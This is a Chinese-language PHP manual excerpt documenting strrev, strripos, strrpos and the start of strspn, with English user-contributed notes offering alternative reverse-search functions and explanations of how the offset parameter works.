echo strrrchr($string,")"); // Will print FIELD (9)

?>


反转字符串

  • ? strrchr
  • strripos ?
  • PHP Manual
  • 字符串 函数
  • 反转字符串

strrev

(PHP 4, PHP 5, PHP 7, PHP 8)

strrev — 反转字符串

说明

strrev(string $string): string

返回 string 反转后的字符串。

参数

string

待反转的原始字符串。

返回值

返回反转后的字符串。

示例

Example #1 使用 strrev() 反转字符串

<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?>

User Contributed Notes

manoj904378 at gmail dot com 18-Nov-2020 10:26
Inside of String Reverse  strrev()
--------------------------   -------
<?php
$string = 'This is manoj';
$n =strlen("$string");
For($i=1;$i<=$n;$i++)
{
    $val= $string[-$i];
   echo $val;
}
?>
info at ensostudio dot ru 25-Aug-2020 11:39
<?php
/**
 * Reverse a miltibyte string.
 *
 * @param string $string The string to be reversed.
 * @param string|null $encoding The character encoding. If it is omitted, the internal character encoding value
 *     will be used.
 * @return string The reversed string
 */
function mb_strrev(string $string, string $encoding = null): string
{
    $chars = mb_str_split($string, 1, $encoding ?: mb_internal_encoding());
    return implode('', array_reverse($chars));
}
?>
It's faster and flexible than tianyiw function (comment #122953)
tianyiw at vip dot qq dot com 17-Jul-2018 12:53
This function support utf-8 encoding, Human Language and Character Encoding Support:

<?php
function mb_strrev($str){
    $r = '';
    for ($i = mb_strlen($str); $i>=0; $i--) {
        $r .= mb_substr($str, $i, 1);
    }
    return $r;
}

echo mb_strrev("☆?world"); // echo "dlrow?☆"
?>


计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）

  • ? strrev
  • strrpos ?
  • PHP Manual
  • 字符串 函数
  • 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）

strripos

(PHP 5, PHP 7, PHP 8)

strripos — 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）

说明

strripos(string $haystack, string $needle, int $offset = 0): int|false

以不区分大小写的方式查找指定字符串在目标字符串中最后一次出现的位置。与 strrpos() 不同，strripos() 不区分大小写。

参数

haystack

在此字符串中进行查找。

needle

要搜索的字符串。

Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

offset

如果为 0 或正数，则从左到右搜索，跳过 haystack 的开头 offset 个字节。

如果为负数，则从右向左执行搜索，跳过 haystack 的最后 offset 个字节并搜索首次出现的 needle。

Note:

这实际是在最后 offset 个字节之前寻找最后出现的 needle。

返回值

返回 needle 相对于 haystack 字符串的位置(和搜索的方向和偏移量无关)。

Note: 字符串位置从 0 开始，而不是 1。

如果未找到 needle，则返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | needle 现在接受空字符串。
8.2.0 | 大小写转换不在依赖于使用 setlocale() 设置的区域。只会进行 ASCII 大小写转换。非 ASCII 字节值将通过它们的字节值进行比较。
8.0.0 | 不再支持将 int 传递给 needle。
7.3.0 | 弃用将 int 传递给 needle。

示例

Example #1 strripos() 简单示例

<?php
$haystack = 'ababcd';
$needle = 'aB';

$pos = strripos($haystack, $needle);

if ($pos === false) {
echo "Sorry, we did not find ($needle) in ($haystack)";
} else {
echo "Congratulations!\n";
echo "We found the last ($needle) in ($haystack) at position ($pos)";
}
?>

以上示例会输出：

   Congratulations!
   We found the last (aB) in (ababcd) at position (2)

参见

  • strpos() - 查找字符串首次出现的位置
  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • substr() - 返回字符串的子串
  • stristr() - strstr 函数的忽略大小写版本
  • strstr() - 查找字符串的首次出现

User Contributed Notes

Anonymous 31-Aug-2010 01:05
Generally speaking, linear searches are from start to end, not end to start - which makes sense from a human perspective. If you need to find strings in a string backwards, reverse your haystack and needle rather than manually chopping it up.
admin at e-xxi dot net 08-Mar-2010 07:00
strripos() has very strange behaviour when you provide search position. For some reason it searches forward from the given position, instead of searching backward, that is more logical.

For example if you want to find instanse of $what, previous to the last, strripos($where, $what, $last_what_pos-1) will not wark as expected. It will return $last_what_pos again and again. And that has no sence at all.

To prevent this, I just used $prev_last_what_pos = strripos(substr($where,0,$last_what_pos), $what);
dimmav at in dot gr 25-Sep-2008 09:31
Suppose you just need a stripos function working backwards expecting that strripos does this job, you better use the following code of a custom function named strbipos:

<?php
function strbipos($haystack="", $needle="", $offset=0) {
// Search backwards in $haystack for $needle starting from $offset and return the position found or false

    $len = strlen($haystack);
    $pos = stripos(strrev($haystack), strrev($needle), $len - $offset - 1);
    return ( ($pos === false) ? false : $len - strlen($needle) - $pos );
}

// Test
$body = "01234Xy7890XYz456xy90";
$str = "xY";
$len = strlen($body);
echo "TEST POSITIVE offset VALUES IN strbipos<br>";
for ($i = 0; $i < $len; $i++) {
    echo "Search in [$body] for [$str] starting from offset [$i]: [" . strbipos($body, $str, $i) . "]<br>";
}
?>

Note that this function does exactly what it says and its results are different comparing to PHP 5 strripos function.
peev[dot]alexander at gmail dot com 20-Apr-2008 02:14
OK, I guess this will be the final function implementation for PHP 4.x versions ( my previous posts are invalid )

<?php

if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }/* endfunction stripos */
}/* endfunction exists stripos */

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }/* endfunction strripos */
}/* endfunction exists strripos */
?>
peev[dot]alexander at gmail dot com 17-Oct-2007 05:23
I think you shouldn't underestimate the length of $needle in the search of THE FIRST POSITION of it's last occurrence in the string. I improved the posted function, with added support for offset. I think this is an exact copy of the real function:

<?php
if(!function_exists("strripos")){
    function strripos($haystack, $needle, $offset=0) {
        if($offset<0){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(  substr( $haystack, $offset )  );
        }
        $pos = strlen($haystack) - (strpos($temp_cut, strrev($needle)) + $offset + strlen($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }/* endfunction strripos*/
}/* endfunction exists strripos*/
?>
ElectroFox 02-Aug-2007 01:59
Sorry, I made that last post a bit prematurely.  One more thing wrong with the simple php4 version is that it breaks if the string is not found.  It should actually look like this:

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        $pos = strlen($haystack) - strpos(strrev($haystack), strrev($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }
}
?>

Note, we now check to see if the $needle was found, and if it isn't, we return 0.
Yanik Lupien 03-Jul-2007 10:47
Simple way to implement this function in PHP 4

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        return strlen($haystack) - strpos(strrev($haystack), $needle);
    }
}

?>


计算指定字符串在目标字符串中最后一次出现的位置

  • ? strripos
  • strspn ?
  • PHP Manual
  • 字符串 函数
  • 计算指定字符串在目标字符串中最后一次出现的位置

strrpos

(PHP 4, PHP 5, PHP 7, PHP 8)

strrpos — 计算指定字符串在目标字符串中最后一次出现的位置

说明

strrpos(string $haystack, string $needle, int $offset = 0): int|false

返回 haystack 字符串中 needle 最后一次出现的数字位置。

参数

haystack

在此字符串中进行查找。

needle

要搜索的字符串。

Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

offset

如果为 0 或正数，则从左到右搜索，跳过 haystack 的开头 offset 个字节。

如果为负数，搜索从右侧 offset 个字节开始，而不是从开头 haystack 个字节开始。搜索从右往左进行，从所选字节中搜索第一个出现的 needle。

Note:

这实际是在最后 offset 个字节之前寻找最后出现的 needle 的位置。

返回值

返回 needle 在 haystack 字符串中存在的位置（与搜索顺序或者 offset 无关）。

Note: 字符串位置从 0 开始，而不是 1。

如果未找到 needle，则返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | needle 现在接受空字符串。
8.0.0 | 不再支持将 int 传递给 needle。
7.3.0 | 弃用将 int 传递给 needle。

示例

Example #1 检查字串是否存在

很容易将"在位置 0 处找到"和"未发现字符串"这两种情况搞错。这是检测区别的办法：

<?php

$pos = strrpos($mystring, "b");
if ($pos === false) { // 注意: 三个等号
// 未发现...
}

?>

Example #2 使用偏移位置进行查找

<?php
$foo = "0123456789a123456789b123456789c";

// 从第 0 个字节（从头）寻找"0"
var_dump(strrpos($foo, '0', 0));

// 从第 1 个字节（字节"0"之后）寻找"0"
var_dump(strrpos($foo, '0', 1));

// 从第 21 个字节（20 个字节之后）寻找"7"
var_dump(strrpos($foo, '7', 20));

// 从第 29 个字节（28 个字节之后）寻找"7"
var_dump(strrpos($foo, '7', 28));

// 从倒数第 5 个字节起从右向左寻找"7"
var_dump(strrpos($foo, '7', -5));

// 从倒数第 2 个字节起从右向左寻找"c"
var_dump(strrpos($foo, 'c', -2));

// 从倒数第 2 个字节起从右向左寻找"9c"
var_dump(strrpos($foo, '9c', -2));
?>

以上示例会输出：

int(0)
bool(false)
int(27)
bool(false)
int(17)
bool(false)
int(29)

参见

  • strpos() - 查找字符串首次出现的位置
  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • substr() - 返回字符串的子串

User Contributed Notes

anonymous 29-Oct-2020 03:46
There is a lot of confusion around how $offset works and I feel it's really quite simple.

If $offset is positive, the operation ignores the first $offset characters of the haystack.
If $offset is negative, the operation ignores the last $offset-1 characters of the haystack (don't ask why -1...).

To understand this instinctively, just imagine the characters being replaced with invalid symbols. Here's an example:

<?php
$hackstack = '0123456789';

// Search the entire sequence 0123456789
var_dump(strrpos($hackstack, '0')); // int(0)
var_dump(strrpos($hackstack, '9')); // int(9)

// Only search ##23456789
var_dump(strrpos($hackstack, '1', 2)); // bool(false)
var_dump(strrpos($hackstack, '2', 2)); // int(2)

// Only search 0123456###
var_dump(strrpos($hackstack, '6', -4)); // int(6)
var_dump(strrpos($hackstack, '7', -4)); // bool(false)

?>
dave at pixelmetrics dot com 09-Jul-2019 10:22
The description of offset is wrong. Here's how it works, with supporting examples.

Offset effects both the starting point and stopping point of the search. The direction is always right to left. (The description wrongly says PHP searches left to right when offset is positive.)

Here's how it works:
When offset is positive, PHP searches right to left from the end of haystack to offset. This ignores the left side of haystack.

When offset is negative, PHP searches right to left, starting offset bytes from the end, to the start of haystack. This ignores the right side of haystack.

Example 1:
$foo = 'aaaaaaaaaa';
var_dump(strrpos($foo, 'a', 5));
Result: int(10)

Example 2:
$foo = "aaaaaa67890";
var_dump(strrpos($foo, 'a', 5));
Result: int(5)

Conclusion: When offset is positive, PHP searches right to left from the end of haystack.

Example 3:
$foo = "aaaaa567890";
var_dump(strrpos($foo, 'a', 5));
Result: bool(false)

Conclusion: When offset is positive, PHP stops searching at offset.

Example 4:
$foo = 'aaaaaaaaaa';
var_dump(strrpos($foo, 'a', -5));
Result: int(6)

Conclusion: When offset is negative, PHP searches right to left, starting offset bytes from the end.

Example 5:
$foo = "a234567890";
var_dump(strrpos($foo, 'a', -5));
Result: int(0)

Conclusion: When offset is negative, PHP searches right to left, all the way to the start of haystack.
david dot mann at djmann dot co dot uk 28-Mar-2018 02:16
Ten years on, Brian's note is still a good overview of how offsets work, but a shorter and simpler summary is:

    strrpos($x, $y, 50);  // 1: this tells strrpos() when to STOP, counting from the START of $x
    strrpos($x, $y, -50); // 2: this tells strrpos() when to START, counting from the END of $x

Or to put it another way, a positive number lets you search the rightmost section of the string, while a negative number lets you search the leftmost section of the string.

Both these variations are useful, but picking the wrong one can cause some highly confusing results!
stevewa 17-Oct-2016 07:25
i wanted to find a leading space BEFORE a hyphen

Crude Oil (Dec) 51.00-56.00

so I had to find the position of the hyphen

then subtract that position from the length of the string (to make it a negative number)
and then walk left toward the beginning of the string, looking for the first space before the hyphen

ex:
$str_position_hyphen  = strpos($line_new,"-",$str_position_spread);

$line_new_length = strlen($line_new);

$str_position_hyphen_from_end = $str_position_hyphen - $line_new_length;

echo "hyphen position from end = " . $str_position_hyphen_from_end . "<br />\n";

$str_position_space_before_hyphen  = strrpos($line_new, " ", $str_position_hyphen_from_end);

echo "*** previous space= " . $str_position_space_before_hyphen . "<br />\n";

$line_new = substr_replace($line_new, ",", $str_position_space_before_hyphen, 1  );

echo $line_new . "<br /><br />\n";
islandispeace at hotmail dot com 29-Nov-2015 07:30
$offset is very misleading, here is my understanding:

function mystrrpos($haystack, $needle, $offset = 0) {
    if ($offset == 0) {
        return strrpos ($haystack, $needle);
    } else {
        return strrpos (substr($haystack, 0, $offset), $needle);
    }
}
info at qrworld dot net 04-Nov-2014 02:52
I made a function using strrpos to get the extension of a file.

function getExtension($file) {
  $pos = strrpos($file, '.');
  if($pos===false){
    return false;
  } else {
    return substr($file, $pos+1);
  }
}

The link of the post where I took the code is:

http://softontherocks.blogspot.com/2013/07/obtener-la-extension-de-un-fichero-con.html
tremblay dot jf at gmail dot com 12-May-2014 06:57
I created an easy function that search a substring inside a string.
It reverse the string and the substring inside an strpos and substract the result to the length of the string.

if (!function_exists("real_strrpos")) {
   function real_strrpos($haystack,$needle) {
      $pos  = strlen($haystack);
      $pos -= strpos(strrev($haystack), strrev($needle) );
      $pos -= strlen($needle);
      return $pos;
   }
}
arlaud pierre 02-Jul-2012 01:51
This seems to behave like the exact equivalent to the PHP 5 offset parameter for a PHP 4 version.

<?php
 function strrpos_handmade($haystack, $needle, $offset = 0){

  if($offset === 0) return strrpos($haystack, $needle);

  $length = strlen($haystack);
  $size = strlen($needle);

  if($offset < 0) {
    $virtual_cut = $length+$offset;
    $haystack = substr($haystack, 0, $virtual_cut+$size);
    $ret = strrpos($haystack, $needle);
    return $ret > $virtual_cut ? false : $ret;
  } else {
    $haystack = substr($haystack, $offset);
    $ret = strrpos($haystack, $needle);
    return $ret === false ? $ret : $ret+$offset;
  }

}
?>
maxmike at gmail dot com 11-Jul-2009 10:05
I've got a simple method of performing a reverse strpos which may be of use.  This version I have treats the offset very simply:
Positive offsets search backwards from the supplied string index.
Negative offsets search backwards from the position of the character that many characters from the end of the string.

Here is an example of backwards stepping through instances of a string with this function:

<?php
function backwardStrpos($haystack, $needle, $offset = 0){
    $length = strlen($haystack);
    $offset = ($offset > 0)?($length - $offset):abs($offset);
    $pos = strpos(strrev($haystack), strrev($needle), $offset);
    return ($pos === false)?false:( $length - $pos - strlen($needle) );
}

$pos = 0;
$count = 0;
echo "Test1<br/>";
while(($pos = backwardStrpos("012340567890", "0", $pos)) !== false){
     echo $pos."<br/>";
    $pos--;
    if($pos < 0){
        echo "Done<br/>";break;
    }
}
echo "---===---<br/>\nTest2<br/>";
echo backwardStrpos("12341234", "1", 2)."<br/>";
echo backwardStrpos("12341234", "1", -2);
?>

Outputs:
Test1
11
5
0
Done
---===---
Test2
0
4

With Test2 the first line checks from the first 3 in "12341234" and runs backwards until it finds a 1 (at position 0)

The second line checks from the second 2 in "12341234" and seeks towards the beginning for the first 1 it finds (at position 4).

This function is useful for php4 and also useful if the offset parameter in the existing strrpos is equally confusing to you as it is for me.
alexandre at NOSPAM dot pixeline dot be 20-Dec-2008 08:35
I needed to check if a variable that contains a generated folder name based on user input had a trailing slash.

This did the trick:

<?php
    // Detect and remove a trailing slash
    $root_folder = ((strrpos($root_folder, '/') + 1) == strlen($root_folder)) ? substr($root_folder, 0, - 1) : $root_folder;
?>
dixonmd at gmail dot com 24-Dec-2007 02:42
<?php
        $pos = strlen(string $haystack) - strpos (strrev(string $haystack), strrev(string $needle)) - strlen(string $needle);
?>

         If in the needle there is more than one character then in php 4 we can use the above statement for finding the position of last occurrence of a substring in a string instead of strrpos. Because in php 4 strrpos uses the first character of the substring.

eg :
<?php
        $haystack = "you you you you you";
        $needle = "you";
        $pos1 = strlen($haystack) - strpos (strrev($haystack), strrev($needle)) - strlen($needle);
        echo $pos1 . "<br>";
        $pos2 strrpos($haystack, $needle);
        echo $pos2 . "<br>";
?>
Daniel Brinca 15-Oct-2007 05:41
Here is a simple function to find the position of the next occurrence of needle in haystack, but searching backwards  (lastIndexOf type function):

//search backwards for needle in haystack, and return its position
function rstrpos ($haystack, $needle, $offset){
    $size = strlen ($haystack);
    $pos = strpos (strrev($haystack), $needle, $size - $offset);

    if ($pos === false)
        return false;

    return $size - $pos;
}

Note: supports full strings as needle
pb at tdcspace dot dk 23-Sep-2007 07:26
what the hell are you all doing. Wanna find the *next* last from a specific position because strrpos is useless with the "offset" option, then....

ex: find 'Z' in $str from position $p,  backward...

while($p > -1 and $str{$p} <> 'Z') $p--;

Anyone will notice $p = -1 means: *not found* and that you must ensure a valid start offset in $p, that is >=0 and < string length. Doh
brian at enchanter dot net 16-Jul-2007 07:47
The documentation for 'offset' is misleading.

It says, "offset may be specified to begin searching an arbitrary number of characters into the string. Negative values will stop searching at an arbitrary point prior to the end of the string."

This is confusing if you think of strrpos as starting at the end of the string and working backwards.

A better way to think of offset is:

- If offset is positive, then strrpos only operates on the part of the string from offset to the end. This will usually have the same results as not specifying an offset, unless the only occurences of needle are before offset (in which case specifying the offset won't find the needle).

- If offset is negative, then strrpos only operates on that many characters at the end of the string. If the needle is farther away from the end of the string, it won't be found.

If, for example, you want to find the last space in a string before the 50th character, you'll need to do something like this:

strrpos($text, " ", -(strlen($text) - 50));

If instead you used strrpos($text, " ", 50), then you would find the last space between the 50th character and the end of the string, which may not have been what you were intending.
jafet at g dot m dot a dot i dot l dot com 12-Apr-2007 01:57
Full strpos() functionality, by yours truly.

<?php
function conforming_strrpos($haystack, $needle, $offset = 0)
{
    # Why does strpos() do this? Anyway...
    if(!is_string($needle)) $needle = ord(intval($needle));
    $haystack = strval($haystack);
    # Parameters
    $hlen = strlen($haystack);
    $nlen = strlen($needle);
    # Come on, this is a feature too
    if($nlen == 0)
    {
        trigger_error(__FUNCTION__.'(): Empty delimiter.', E_USER_WARNING);
        return false;
    }
    $offset = intval($offset);
    $hrev = strrev($haystack);
    $nrev = strrev($needle);
    # Search
    $pos = strpos($hrev, $nrev, $offset);
    if($pos === false) return false;
    else return $hlen - $nlen - $pos;
}
?>

Note that $offset is evaluated from the end of the string.

Also note that conforming_strrpos() performs some five times slower than strpos(). Just a thought.
mijsoot_at_gmail_dot_com 06-Mar-2007 01:43
To begin, i'm sorry for my English.
So, I needed of one function which gives me the front last position of a character.
Then I said myself that it should be better to make one which gives the "N" last position.

$return_context = "1173120681_0__0_0_Mijsoot_Thierry";

// Here i need to find = "Mijsoot_Thierry"

//echo $return_context."<br />";// -- DEBUG

function findPos($haystack,$needle,$position){
    $pos = strrpos($haystack, $needle);
    if($position>1){
        $position --;
        $haystack = substr($haystack, 0, $pos);
        $pos = findPos($haystack,$needle,$position);
    }else{
        // echo $haystack."<br />"; // -- DEBUG
        return $pos;
    }
    return $pos;
}

var_dump(findPos($return_context,"_",2)); // -- TEST
Christ Off 29-Jan-2007 10:50
Function to truncate a string
Removing dot and comma
Adding ... only if a is character found

function TruncateString($phrase, $longueurMax = 150) {
    $phrase = substr(trim($phrase), 0, $longueurMax);
    $pos = strrpos($phrase, " ");
    $phrase = substr($phrase, 0, $pos);
    if ((substr($phrase,-1,1) == ",") or (substr($phrase,-1,1) == ".")) {
        $phrase = substr($phrase,0,-1);
    }
    if ($pos === false) {
        $phrase = $phrase;
    }
    else {
        $phrase = $phrase . "...";
    }
return $phrase;
}
php NO at SPAMMERS willfris SREMMAPS dot ON nl 20-Dec-2006 06:48
<?php
/*******
 ** Maybe the shortest code to find the last occurence of a string, even in php4
 *******/
function stringrpos($haystack,$needle,$offset=NULL)
{
    return strlen($haystack)
           - strpos( strrev($haystack) , strrev($needle) , $offset)
           - strlen($needle);
}
// @return   ->   chopped up for readability.
?>
purpleidea 27-Nov-2006 12:07
I was having some issues when I moved my code to run it on a different server.
The earlier php version didn't support more than one character needles, so tada, bugs. It's in the docs, i'm just pointing it out in case you're scratching your head for a while.
dmitry dot polushkin at gmail dot com 03-Nov-2006 10:05
Returns the filename's string extension, else if no extension found returns false.
Example: filename_extension('some_file.mp3'); // mp3
Faster than the pathinfo() analogue in two times.
<?php
function filename_extension($filename) {
    $pos = strrpos($filename, '.');
    if($pos===false) {
        return false;
    } else {
        return substr($filename, $pos+1);
    }
}
?>
kavih7 at yahoo dot com 08-Jun-2006 12:53
<?php
###################################################
#
# DESCRIPTION:
# This function returns the last occurance of a string,
# rather than the last occurance of a single character like
# strrpos does. It also supports an offset from where to
# start the searching in the haystack string.
#
# ARGS:
# $haystack (required) -- the string to search upon
# $needle (required) -- the string you are looking for
# $offset (optional) -- the offset to start from
#
# RETURN VALS:
# returns integer on success
# returns false on failure to find the string at all
#
###################################################

function strrpos_string($haystack, $needle, $offset = 0)
{
    if(trim($haystack) != "" && trim($needle) != "" && $offset <= strlen($haystack))
    {
        $last_pos = $offset;
        $found = false;
        while(($curr_pos = strpos($haystack, $needle, $last_pos)) !== false)
        {
            $found = true;
            $last_pos = $curr_pos + 1;
        }
        if($found)
        {
            return $last_pos - 1;
        }
        else
        {
            return false;
        }
    }
    else
    {
        return false;
    }
}
?>
shimon at schoolportal dot co dot il 03-May-2006 11:31
In strrstr function in php 4 there is also no offset.
<?
// by Shimon Doodkin
function chrrpos($haystack, $needle, $offset=false)
{
 $needle=$needle[0];
 $l=strlen($haystack);
 if($l==0)  return false;
 if($offset===false)  $offset=$l-1;
 else
 {
  if($offset>$l) $offset=$l-1;
  if($offset<0) return false;
 }
 for(;$offset>0;$offset--)
  if($haystack[$offset]==$needle)
   return $offset;
 return false;
}
?>
gordon at kanazawa-gu dot ac dot jp 13-Sep-2005 09:56
The "find-last-occurrence-of-a-string" functions suggested here do not allow for a starting offset, so here's one, tried and tested, that does:

function my_strrpos($haystack, $needle, $offset=0) {
    // same as strrpos, except $needle can be a string
    $strrpos = false;
    if (is_string($haystack) && is_string($needle) && is_numeric($offset)) {
        $strlen = strlen($haystack);
        $strpos = strpos(strrev(substr($haystack, $offset)), strrev($needle));
        if (is_numeric($strpos)) {
            $strrpos = $strlen - $strpos - strlen($needle);
        }
    }
    return $strrpos;
}
genetically altered mastermind at gmail 22-Aug-2005 10:30
Very handy to get a file extension:
$this->data['extension'] = substr($this->data['name'],strrpos($this->data['name'],'.')+1);
fab 10-Aug-2005 04:07
RE: hao2lian

There are a lot of alternative - and unfortunately buggy - implementations of strrpos() (or last_index_of as it was called) on this page. This one is a slight modifiaction of the one below, but it should world like a *real* strrpos(), because it returns false if there is no needle in the haystack.

<?php

function my_strrpos($haystack, $needle) {
   $index = strpos(strrev($haystack), strrev($needle));
   if($index === false) {
        return false;
   }
   $index = strlen($haystack) - strlen($needle) - $index;
   return $index;
}

?>
jonas at jonasbjork dot net 06-Apr-2005 01:25
I needed to remove last directory from an path, and came up with this solution:

<?php

  $path_dir = "/my/sweet/home/";
  $path_up = substr( $path_dir, 0, strrpos( $path_dir, '/', -2 ) )."/";
  echo $path_up;

?>

Might be helpful for someone..
escii at hotmail dot com ( Brendan ) 10-Jan-2005 07:12
I was immediatley pissed when i found the behaviour of strrpos ( shouldnt it be called charrpos ?) the way it is, so i made my own implement to search for strings.

<?
function proper_strrpos($haystack,$needle){
        while($ret = strrpos($haystack,$needle))
        {
                if(strncmp(substr($haystack,$ret,strlen($needle)),
                                $needle,strlen($needle)) == 0 )
                        return $ret;
                $haystack = substr($haystack,0,$ret -1 );
        }
        return $ret;
}
?>
griffioen at justdesign dot nl 17-Nov-2004 10:57
If you wish to look for the last occurrence of a STRING in a string (instead of a single character) and don't have mb_strrpos working, try this:

    function lastIndexOf($haystack, $needle) {
        $index        = strpos(strrev($haystack), strrev($needle));
        $index        = strlen($haystack) - strlen(index) - $index;
        return $index;
    }
nexman at playoutloud dot net 07-Oct-2004 09:22
Function like the 5.0 version of strrpos for 4.x.
This will return the *last* occurence of a string within a string.

    function strepos($haystack, $needle, $offset=0) {
        $pos_rule = ($offset<0)?strlen($haystack)+($offset-1):$offset;
        $last_pos = false; $first_run = true;
        do {
            $pos=strpos($haystack, $needle, (intval($last_pos)+(($first_run)?0:strlen($needle))));
            if ($pos!==false && (($offset<0 && $pos <= $pos_rule)||$offset >= 0)) {
                $last_pos = $pos;
            } else { break; }
            $first_run = false;
        } while ($pos !== false);
        if ($offset>0 && $last_pos<$pos_rule) { $last_pos = false; }
        return $last_pos;
    }

If my math is off, please feel free to correct.
  - A positive offset will be the minimum character index position of the first character allowed.
  - A negative offset will be subtracted from the total length and the position directly before will be the maximum index of the first character being searched.

returns the character index ( 0+ ) of the last occurence of the needle.

* boolean FALSE will return no matches within the haystack, or outside boundries specified by the offset.
tsa at medicine dot wisc dot edu 24-May-2004 05:17
What the heck, I thought I'd throw another function in the mix.  It's not pretty but the following function counts backwards from your starting point and tells you the last occurrance of a mixed char string:

<?php
function strrposmixed ($haystack, $needle, $start=0) {
   // init start as the end of the str if not set
   if($start == 0) {
       $start = strlen($haystack);
   }

   // searches backward from $start
   $currentStrPos=$start;
   $lastFoundPos=false;

   while($currentStrPos != 0) {
       if(!(strpos($haystack,$needle,$currentStrPos) === false)) {
           $lastFoundPos=strpos($haystack,$needle,$currentStrPos);
           break;
       }
       $currentStrPos--;
   }

   if($lastFoundPos === false) {
       return false;
   } else {
       return $lastFoundPos;
   }
}
?>
ZaraWebFX 14-Oct-2003 11:06
this could be, what derek mentioned:

<?
function cut_last_occurence($string,$cut_off) {
    return strrev(substr(strstr(strrev($string), strrev($cut_off)),strlen($cut_off)));
}

//    example: cut off the last occurence of "limit"
    $str = "select delta_limit1, delta_limit2, delta_limit3 from table limit 1,7";
    $search = " limit";
    echo $str."\n";
    echo cut_last_occurence($str,"limit");
?>
lee at 5ss dot net 29-Aug-2003 07:21
I should have looked here first, but instead I wrote my own version of strrpos that supports searching for entire strings, rather than individual characters.  This is a recursive function.  I have not tested to see if it is more or less efficient than the others on the page.  I hope this helps someone!

<?php
//Find last occurance of needle in haystack
function str_rpos($haystack, $needle, $start = 0){
    $tempPos = strpos($haystack, $needle, $start);
    if($tempPos === false){
        if($start == 0){
            //Needle not in string at all
            return false;
        }else{
            //No more occurances found
            return $start - strlen($needle);
        }
    }else{
        //Find the next occurance
        return str_rpos($haystack, $needle, $tempPos + strlen($needle));
    }
}
?>
FIE 15-Feb-2003 05:03
refering to the comment and function about lastIndexOf()...
It seemed not to work for me the only reason I could find was the haystack was reversed and the string wasnt therefore it returnt the length of the haystack rather than the position of the last needle... i rewrote it as fallows:

<?php
function strlpos($f_haystack,$f_needle) {
      $rev_str = strrev($f_needle);
      $rev_hay = strrev($f_haystack);
      $hay_len = strlen($f_haystack);
      $ned_pos = strpos($rev_hay,$rev_str);
      $result  = $hay_len - $ned_pos - strlen($rev_str);
      return $result;
}
?>

this one fallows the strpos syntax rather than java's lastIndexOf.
I'm not positive if it takes more resources assigning all of those variables in there but you can put it all in return if you want, i dont care if i crash my server ;).

~SILENT WIND OF DOOM WOOSH!
php dot net at insite-out dot com 17-Dec-2002 11:47
I was looking for the equivalent of Java's lastIndexOf(). I couldn't find it so I wrote this:

<?php
/*
Method to return the last occurrence of a substring within a
string
*/
function last_index_of($sub_str,$instr) {
    if(strstr($instr,$sub_str)!="") {
        return(strlen($instr)-strpos(strrev($instr),$sub_str));
    }
    return(-1);
}
?>

It returns the numerical index of the substring you're searching for, or -1 if the substring doesn't exist within the string.
su.noseelg@naes, only backwards 13-Dec-2002 10:39
Maybe I'm the only one who's bothered by it, but it really bugs me when the last line in a paragraph is a single word. Here's an example to explain what I don't like:

The quick brown fox jumps over the lazy
dog.

So that's why I wrote this function. In any paragraph that contains more than 1 space (i.e., more than two words), it will replace the last space with '&nbsp;'.

<?php
function no_orphans($TheParagraph) {
    if (substr_count($TheParagraph," ") > 1) {
    $lastspace = strrpos($TheParagraph," ");
    $TheParagraph = substr_replace($TheParagraph,"&nbsp;",$lastspace,1);
    }
return $TheParagraph;
}
?>

So, it would change "The quick brown fox jumps over the lazy dog." to "The quick brown fox jumps over the lazy&nbsp;dog." That way, the last two words will always stay together.


计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度

  • ? strrpos
  • strstr ?
  • PHP Manual
  • 字符串 函数
  • 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度

strspn

(PHP 4, PHP 5, PHP 7, PHP 8)

strspn — 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度

说明

strspn(
string $string,
string $characters,
int $offset = 0,
?int $length = null
): int

返回 string 中全部字符仅存在于 characters 中的第一组连续字符(子字符串)的长度。

如果省略了 offset 和 length 参数，则检查整个 string 字符串；如果指定了这两个参数，则效果等同于调用 strspn(substr($string, $offset, $length), $characters)（更多信息，参见 substr ）。

代码行：

<?php
$var = strspn("42 is the answer to the 128th question.", "1234567890");
?>
